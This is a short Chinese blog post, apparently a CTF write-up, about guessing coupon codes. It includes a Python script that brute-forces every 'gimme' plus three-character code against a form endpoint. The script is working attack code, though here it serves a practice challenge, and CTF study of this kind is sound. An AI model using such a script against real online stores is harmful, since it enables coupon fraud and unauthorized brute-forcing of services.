CTF3-1 Coupon Code

题目

在这里插入图片描述
在这里插入图片描述
今天抽空看了下题目,提示难蚌


思路

没有思路,观察到coupon code都是gimme加随机三位小写字母和数字的组合,暴力破解

import requests
import itertools
import string
from datetime import datetime

letters = string.ascii_lowercase
digits = string.digits
mixed = letters + digits

combinations = itertools.product(mixed, repeat=3)
prefix = 'gimme'
url = '' #这里是submit的url,找到填写
headers = {
    'User-Agent': 'Mozilla/5.0',
    'Content-Type': 'application/x-www-form-urlencoded'
}

def find_coupon_code(coupon_code, product_id, submit_date):
    data = {
        'coupon': coupon_code,
        'product_id': product_id,
        'submitdate': submit_date
    }
    response = requests.post(url, headers=headers, data=data)
    data = response.json()
    # print(data)
    if data.get("result") == "OK":
        print(f"Success! The code is: {coupon_code}")
        print(f"Message: {data.get('code')}")
        return True
    elif data.get("result") == "Expired":
        print(f"Coupon {coupon_code} is correct but expired.")
    else:
        print(f"{coupon_code} is not a valid code.")
    return False
current_date = datetime.now().strftime('%Y-%m-%d')

for i in combinations:
    coupon_code = prefix + ''.join(i)

    if find_coupon_code(coupon_code, 'T009', current_date):
        break

结果

在这里插入图片描述
在这里插入图片描述


  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值